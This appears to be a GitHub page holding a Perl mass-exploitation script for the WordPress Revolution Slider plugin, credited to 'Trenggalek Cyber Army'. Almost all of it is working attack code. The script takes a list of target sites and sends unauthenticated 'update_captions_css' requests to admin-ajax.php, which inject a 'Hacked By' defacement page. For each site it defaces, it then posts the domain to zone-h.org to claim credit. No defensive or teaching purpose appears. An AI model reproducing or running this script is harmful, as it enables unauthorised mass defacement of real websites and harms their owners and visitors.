-
Notifications
You must be signed in to change notification settings - Fork 6
/
[exploit]_revslider_admin_ajax_mass_exploiter.pl
97 lines (88 loc) · 4.26 KB
/
[exploit]_revslider_admin_ajax_mass_exploiter.pl
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
#!/usr/bin/perl
#Mass Revslider Coded By Cyberdark DZ
#Recoded By ./MalingSendal - Trenggalek Cyber Army
#Greetz : CowoKerensTeam - Sanjungan Jiwa - SpyHackerZ - Sector Security Tester
use Term::ANSIColor;
use LWP::UserAgent;
use HTTP::Request;
use HTTP::Request::Common qw(POST);
$ua = LWP::UserAgent->new(keep_alive => 1);
$ua->agent("Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 (ax)");
$ua->timeout (10);
print " . .
.n . . n.
. .dP dP 9b 9b. .
4 qXb . dX Xb . dXp t
dX. 9Xb .dXb __ __ dXb. dXP .Xb
9XXb._ _.dXXXXb dXXXXbo. .odXXXXb dXXXXb._ _.dXXP
9XXXXXXXXXXXXXXXXXXXVXXXXXXXXOo. .oOXXXXXXXXVXXXXXXXXXXXXXXXXXXXP
`9XXXXXXXXXXXXXXXXXXXXX'~ ~`OOO8b d8OOO'~ ~`XXXXXXXXXXXXXXXXXXXXXP'
`9XXXXXXXXXXXP' `9XX' `98v8P' `XXP' `9XXXXXXXXXXXP'
~~~~~~~ 9X. .db|db. .XP ~~~~~~~
)b. .dbo.dP'`v'`9b.odb. .dX(
,dXXXXXXXXXXXb dXXXXXXXXXXXb.
dXXXXXXXXXXXP' . `9XXXXXXXXXXXb
dXXXXXXXXXXXXb d|b dXXXXXXXXXXXXb
9XXb' `XXXXXb.dX|Xb.dXXXXX' `dXXP
`' 9XXXXXX( )XXXXXXP `'
XXXX X.`v'.X XXXX
XP^X'`b d'`X^XX
X. 9 ` ' P )X
`b ` ' d'
` '
-> Revslider Mass Exploiter <-\n";
print "List Target : ";
my $list=<STDIN>;
chomp($list);
open (THETARGET, "<$list") || die "
Directory not found.";
@TARGETS = <THETARGET>;
close THETARGET;
$link=$#TARGETS + 1;
foreach $site(@TARGETS){
chomp $site;
if($site !~ /http:\/\//) { $site = "http://$site/"; };
$ajx = $site . 'wp-admin/admin-ajax.php';
$link = $site .'wp-admin/admin-ajax.php?action=revslider_ajax_action&client_action=get_captions_css';
print "Scan : $site\n";
$gassface = POST $ajx, [
'action' => 'revslider_ajax_action', 'client_action' => 'update_captions_css', 'data' =>"
<br><br><br><body style='color: transparent;background-color: white'><center><h1><b style='color: black'><center>Hacked By ./MalingSendal - Trenggalek Cyber Army<br>Greetz : CowoKerensTeam - Sanjungan Jiwa - SpyHackerZ - Sector Security Tester - And You<p style='color: transparent'>"];
$response = $ua->request($gassface);
$stat = $response->content;
if ($stat =~ /true/){
print colored ("Vulnerability ",'Green'),"\n";
print "--> $link\nPost Zone-H\n";
zonpost();
}else{
print colored ("Not Vulnerability ",'red'),"\n";
}
}
sub zonpost{
$req = HTTP::Request->new(GET=>$link);
$useragent = LWP::UserAgent->new();
$response = $useragent->request($req);
$ar = $response->content;
if ($ar =~ /Hacked|Fallag |Gassrini/){
$dmn= $link;
$def="Trenggalek Cyber Army";
$zn="http://zone-h.org/notify/single";
$lwp=LWP::UserAgent->new;
$res=$lwp -> post($zn,[
'defacer' => $def,
'domain1' => $dmn,
'hackmode' => '15',
'reason' => '1',
'submit' => 'Send',
]);
if ($res->content =~ /color="red">(.*)<\/font><\/li>/) {
print colored ("Submited $1",'white on_green'),"\n";
}
else
{
print colored ("Error",'black on_white'),"\n";
}
}else{
print" Not Defaced \n";
}
}